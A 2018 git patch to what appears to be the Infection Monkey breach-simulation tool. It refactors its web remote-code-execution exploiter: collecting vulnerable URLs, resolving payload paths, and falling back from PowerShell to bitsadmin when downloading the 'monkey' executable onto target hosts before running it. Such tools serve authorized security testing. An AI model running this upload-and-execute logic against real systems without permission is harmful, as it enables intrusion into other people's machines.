From 592dd27d910e13d365db9cdcd18d62854d88553f Mon Sep 17 00:00:00 2001
From: Vakaris <vaoxygen@gmail.com>
Date: Tue, 28 Aug 2018 20:51:25 +0300
Subject: [PATCH] Added functions get_monkey_paths and run_backup_commands

---
 infection_monkey/exploit/tools.py   |  4 +-
 infection_monkey/exploit/web_rce.py | 94 ++++++++++++++++++++---------
 infection_monkey/transport/http.py  |  1 +
 3 files changed, 66 insertions(+), 33 deletions(-)

diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py
index 08cc94af1..1b7f32003 100644
--- a/infection_monkey/exploit/tools.py
+++ b/infection_monkey/exploit/tools.py
@@ -410,8 +410,6 @@ class HTTPTools(object):
             return None, None
 
         httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
-
-        httpd.daemon = True
         httpd.start()
         lock.acquire()
         return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
@@ -515,7 +513,7 @@ def get_monkey_depth():
 
 def get_monkey_dest_path(url_to_monkey):
     """
-    Gets destination path from source path.
+    Gets destination path from monkey's source url.
     :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
     :return: Corresponding monkey path from configuration
     """
diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py
index e86f3b2a6..a8aa2aae7 100644
--- a/infection_monkey/exploit/web_rce.py
+++ b/infection_monkey/exploit/web_rce.py
@@ -37,6 +37,7 @@ class WebRCE(HostExploiter):
                                         'win64': self._config.dropper_target_path_win_64}
         self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
         self.skip_exist = self._config.skip_exploit_if_file_exist
+        self.vulnerable_urls = []
 
     def get_exploit_config(self):
         """
@@ -77,38 +78,32 @@ class WebRCE(HostExploiter):
             return False
         # Get urls to try to exploit
         urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
-        vulnerable_urls = []
-        for url in urls:
-            if self.check_if_exploitable(url):
-                vulnerable_urls.append(url)
-                if exploit_config['stop_checking_urls']:
-                    break
-        self._exploit_info['vulnerable_urls'] = vulnerable_urls
+        self.add_vulnerable_urls(urls, exploit_config['stop_checking_urls'])
 
-        if not vulnerable_urls:
+        if not self.vulnerable_urls:
             return False
 
         # Skip if monkey already exists and this option is given
-        if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(vulnerable_urls[0]):
+        if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(self.vulnerable_urls[0]):
             LOG.info("Host %s was already infected under the current configuration, done" % self.host)
             return True
 
         # Check for targets architecture (if it's 32 or 64 bit)
-        if not exploit_config['blind_exploit'] and not self.set_host_arch(vulnerable_urls[0]):
+        if not exploit_config['blind_exploit'] and not self.set_host_arch(self.vulnerable_urls[0]):
             return False
 
         # Upload the right monkey to target
-        data = self.upload_monkey(vulnerable_urls[0], exploit_config['upload_commands'])
+        data = self.upload_monkey(self.vulnerable_urls[0], exploit_config['upload_commands'])
 
         if data is not False and data['response'] is False:
             return False
 
         # Change permissions to transform monkey into executable file
-        if self.change_permissions(vulnerable_urls[0], data['path']) is False:
+        if self.change_permissions(self.vulnerable_urls[0], data['path']) is False:
             return False
 
         # Execute remote monkey
-        if self.execute_remote_monkey(vulnerable_urls[0], data['path'], exploit_config['dropper']) is False:
+        if self.execute_remote_monkey(self.vulnerable_urls[0], data['path'], exploit_config['dropper']) is False:
             return False
 
         return True
@@ -202,6 +197,23 @@ class WebRCE(HostExploiter):
             LOG.info("No attack url's were built")
         return url_list
 
+    def add_vulnerable_urls(self, urls, stop_checking=False):
+        """
+        Gets vulnerable url(s) from url list
+        :param urls: Potentially vulnerable urls
+        :param stop_checking:
+        :return:
+        """
+        for url in urls:
+            if self.check_if_exploitable(url):
+                self.vulnerable_urls.append(url)
+                if stop_checking:
+                    break
+        if not self.vulnerable_urls:
+            LOG.info("No vulnerable urls found, skipping.")
+        # We add urls to param used in reporting
+        self._exploit_info['vulnerable_urls'] = self.vulnerable_urls
+
     def get_host_arch(self, url):
         """
         :param url: Url for exploiter to use
@@ -282,6 +294,21 @@ class WebRCE(HostExploiter):
             self.host.os['machine'] = arch
             return True
 
+    def run_backup_commands(self, resp, url, paths, http_path):
+        """
+        If you need multiple commands for the same os you can override this method to add backup commands
+        :param resp: Response from base command
+        :param url: Vulnerable url
+        :param paths: Where to upload monkey
+        :param http_path: Where to download monkey from
+        :return: Command's response (same response if backup command is not needed)
+        """
+        if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
+            LOG.info("Powershell not found in host. Using bitsadmin to download.")
+            backup_command = RDP_CMDLINE_HTTP % {'monkey_path': paths['dest_path'], 'http_path': http_path}
+            resp = self.exploit(url, backup_command)
+        return resp
+
     def upload_monkey(self, url, commands=None):
         """
         :param url: Where exploiter should send it's request
@@ -290,39 +317,31 @@ class WebRCE(HostExploiter):
         :return: {'response': response/False, 'path': monkeys_path_in_host}
         """
         LOG.info("Trying to upload monkey to the host.")
-        src_path = get_target_monkey(self.host)
-        if not src_path:
-            LOG.info("Can't find suitable monkey executable for host %r", host)
+        if not self.host.os['type']:
+            LOG.error("Unknown target's os type. Skipping.")
             return False
-        # Determine which destination path to use
-        LOG.debug("Monkey path found")
-        path = self.get_monkey_upload_path(src_path)
-        if not path:
+        paths = self.get_monkey_paths()
+        if not paths:
             return False
         # Create server for http download and wait for it's startup.
-        http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
+        http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path'])
         if not http_path:
             LOG.debug("Exploiter failed, http transfer creation failed.")
             return False
         LOG.info("Started http server on %s", http_path)
-        if not self.host.os['type']:
-            LOG.error("Unknown target's os type. Skipping.")
-            return False
         # Choose command:
         if not commands:
             commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
-        command = self.get_command(path, http_path, commands)
+        command = self.get_command(paths['dest_path'], http_path, commands)
 
         resp = self.exploit(url, command)
 
-        if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
-            LOG.info("Powershell not found in host. Using bitsadmin to download.")
-            backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path}
-            resp = self.exploit(url, backup_command)
+        resp = self.run_backup_commands(resp, url, paths, http_path)
+
         http_thread.join(DOWNLOAD_TIMEOUT)
         http_thread.stop()
         LOG.info("Uploading process finished")
-        return {'response': resp, 'path': path}
+        return {'response': resp, 'path': paths['dest_path']}
 
     def change_permissions(self, url, path, command=None):
         """
@@ -421,6 +440,21 @@ class WebRCE(HostExploiter):
                       "custom dict of monkey's destination paths")
             return False
 
+    def get_monkey_paths(self):
+        """
+        Gets local (used by server) and destination (where to download) paths.
+        :return: dict of source and destination paths
+        """
+        src_path = get_target_monkey(self.host)
+        if not src_path:
+            LOG.info("Can't find suitable monkey executable for host %r", host)
+            return False
+        # Determine which destination path to use
+        dest_path = self.get_monkey_upload_path(src_path)
+        if not dest_path:
+            return False
+        return {'src_path': src_path, 'dest_path': dest_path}
+
     def get_default_dropper_path(self):
         """
         Gets default dropper path for the host.
diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py
index 72664f0ab..b65fda4e9 100644
--- a/infection_monkey/transport/http.py
+++ b/infection_monkey/transport/http.py
@@ -204,6 +204,7 @@ class LockedHTTPServer(threading.Thread):
         self._stopped = False
         self.lock = lock
         threading.Thread.__init__(self)
+        self.daemon = True
 
     def run(self):
         class TempHandler(FileServHTTPRequestHandler):